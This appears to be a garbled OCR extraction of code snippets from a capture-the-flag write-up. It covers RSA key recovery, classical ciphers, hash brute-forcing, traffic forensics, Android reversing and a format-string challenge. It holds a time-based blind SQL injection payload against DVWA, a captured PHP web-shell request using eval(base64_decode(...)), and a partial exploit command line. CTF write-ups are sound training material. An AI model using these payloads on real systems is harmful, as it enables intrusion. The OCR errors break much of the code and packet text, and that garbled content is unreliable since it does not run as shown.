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from Crypto.PublicKey import RSA

pub = RSA.importKey(open('pub.key').read())
n = long(pub.n)

e = long(pub.e)

print 'n:',n

print 'e:',e

print 'n(hex):',hex(n)

print 'e(hex):',hex(e)

opensslfr 4
openssl rsa -in pub.key -pubin -modulus -text
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import math
import sys
from Crypto.PublicKey import RSA

keypair = RSA.generate(1024)

keypair.p = 250527704258269

keypair.q =
7489107197288433645289267194583993583902713068074529270117536809444581932876154310156776
keypair.e = 65537

keypair.n = keypair.p * keypair.q
Qn = long((keypair.p-1) * (keypair.g-1))

i=1
while (True):
x=(Qn*i)+1
if (x % keypair.e == 0):
keypair.d = x/ keypair.e
break
i+=1

private = open('private.pem’,'w')
private.write(keypair.exportKey())
private.close()
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import rsa

prifile = open('private.pem’)

p = prifile.read()

privkey = rsa.PrivateKey.load_pkcs1(p)
crypto = open(‘enc1').read()

message = rsa.decrypt(crypto, privkey)
print message

i
openssl rsautl -decrypt -in enc1 -inkey 6.key -out flag.txt
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def gcd(a, b):

if(a < b):
a,b=b,a

while b = 0:
temp=a%b
a=b
b = temp

return a
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#coding:utf-8
m = 'dikxourxd'
strs = 'abcdefghijklmnopgrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag="
for cin m:
foriin strs:
if ((11*(ord(i)-97)+7)%26) == (ord(c)-97):

flag +=i

break
print(flag)
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import hashlib
for min range(1,13):
for d in range(1,33):
t = "1997"+str(m).Zfill(2)+str(d).Zfill(2)
md5 = hashlib.md5(t).hexdigest()
if md5[:16] == '0175501585710a89":
print t
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2id=123' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT (*) AS
CHAR),0x20) FROM dvwa.flag),1,1))!=49,0,5)))))sbAQ)
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import re
f = open("access.log")
sqli=1]
foriinf:
if 'FROM dvwa.flag ORDER BY flag'in i:
sqli.append(i)
f.close()
flag="
for i in range(len(sqli)):
char = re.findall("\)\)!=(\d+),0,1\)\)', sqli[i])
if char:
flag += chr(int(char[0]))
print flag
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http contains "ZmxhZ3"
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Frasa SBa4: 717 Bytet on Wire (5736 bits), 717 bytes caphised (5736 BAts)

Etharnat 1T, Sec: Aople 83:aa:dl (4ci33:75:89:aa:dl), DEt: Vedars S2:33:43 (80:8c:29:82:93:43)
Inturnet Frotocol Wersion 4, Src: 193.168.200.88, Dt 192.165.299.107

Transmissfon Comtrol Protocol, Sec Port: 5846, Dst Peei: 28, Seq: 1, Ack: 1, Les: BS1

~ HTHL Form URL Emcoded: applicatlon/s-wer-fors-urlencoded
Form item: “x* = “geval (basedd_decose(d_POST[action]));”
Fors ftem: “actlon” = "QaloaVizIngolsHpciBsyilelybd )z ] il i pO0s: FoREda] eIV awl pdC gwh T tas 2VEIThT 201008 10011 SydiSitaw] 1 KIapi4aERol 18 FETpOzt 1Y arn T
Form Stam: "z17 = “L3Inci93d3cvaHRebC oz NNy I c 2 HH o] NEL it s e ™ i 5}’; B
Form Tam: 117 =| "ImwnZ3t InaVwcsBOdGkwh JUTVIVyaXRSFQ==" | e e

R 4% 2 ) iy 2 AT A5 B 7T 3R 15 flag
0x03 ARG

HERRT



RAERRA D KIZEHRKIPU LS DS, ARDIETEEESAZERKIEER, BARLIET)E#HWireshark
7 G

&5 A3k f5flag

flag{192.168.233.222:9099}
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import base64
file = open('base.txt','r")
st = file.read()
while True:
try:
st = base64.b16decode(st)
except:
try:
st = base64.b32decode(st)
except:
st = base64.b64decode(st)
if(st.find('flag') == 0):
print(st)
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2079 192.168.200.107:90 2993 bytes flagaa
2084 192.168.200.107:90 1230 bytes flagab
2088 192.168.200.107:90 3078 bytes flagac
2095 192.168.200.107:90 3034 bytes flagad
2100 192.168.200.107:90 2127 bytes flagae
2103 192.168.200.107:90 1746 bytel fisgat
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f = open('flag.png’)

enc = f.read()

f.close()

f = open('xor.png’)

xor = f.read()

f.close()

s = r'0123456789abcdefghijkimnopgrstuvwxyzABCDEF GHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./;;<=>7?

@M {[}~\"_%'

flag="

for i in range(100):

forcins:

if ord(xorf[i]) * ord(c) == ord(enc]i]):
flag+=c
print flag
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#!/usr/bin/env python
from PIL import Image
MAX = 280
pic = Image.new("RGB",(MAX, MAX))
file = open("flag.txt",'r")
m = file.read().split("\n')
i=0
fory in range (0,MAX):
for x in range (0,MAX):
if(m[i] == '(0, 0, 0)"):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i=i+1
pic.show()
pic.save("flag.png")
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message = 'synt{DePOqr_vF _va7rEfg1at-}'

LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
letters = 'abcdefghijkimnopgrstuvwxyz'

for key in range(len(LETTERS)):
tran="
for i in message:
ifi in LETTERS:
num = LETTERS.find(i)
num = num - key
if num < 0:
num = num + len(LETTERS)
tran = tran + LETTERS[num]
elif i in letters:
num = letters.find(i)
num = num - key
if num < 0:
num = num + len(letters)
tran = tran + letters[num]
else:
tran =tran +i
print('key = %s: %s' % (key, tran))
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protected void onCreate(Bundle arg?) {
super.onCreate(arg?);
this.setContentView(2130968600) ;
iew w2 = this.findViewById(2131492944);
iew w3 = this.findViewById(2121492945);

andler v@ = new Handler();
v@.postDelayed(new Runnable({{TextView)v3d), ((TextView)v2), va) {
public wvoid run{) {
MainActivity.this.t = System.currentTimeMillis();

MainActivity.this.now = ({int)(MainActivity.this.t / 1088));
MainActivity.this.t = 158@ - MainActivity.this.t % 1000;
this.volftv.setText("IIFEEHAFERHETSHEAT);
if(MainActivity.this.beg - MainActivity.this.mow ¢=_8) {
this.valftvl.setText("The flag is:");
this,volftv2.setText("flag{" + MainActivity.this.stringFromINI2(MainActivity.this

if(MainActivity.is2(MaindActivity.this.beg - MainActivity.this.now)) {

MainActivity.this.k += 100;
else { . epeee
--MainActivity.this.k; e | Vel ot
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k=0
flag=0

for i in xrange(200000,0,-1):



flag=0
if i>3:

if i%2!=0 and i %3!=0:

v0=5
while 1:
if vO*vO<=i:
if i%v0!'=0 and i%(v0+2)!=0:
v0+=6
else:
k-=1
break
else:
k+=100
flag=1
break
else:
k-=1
elif i==1:
k-=1
else:
k+=100
print k
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vold locker()
{
char buffer[512]; // [esp+l@h] [ebp-288h]

fgets(buffer, 512, bss start);
imagemagic(buffer);
if { key == @x2223322 )
system("/bin/cat flag");
else
printf("0h no,What have you done on %@8x :(\n", key);
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myubuntu@ubuntu:~/De p$ python -c "print '\x30\xa@\x84\x68%30

B4 f7799750
Oh no,What have you done on 08000622 :(
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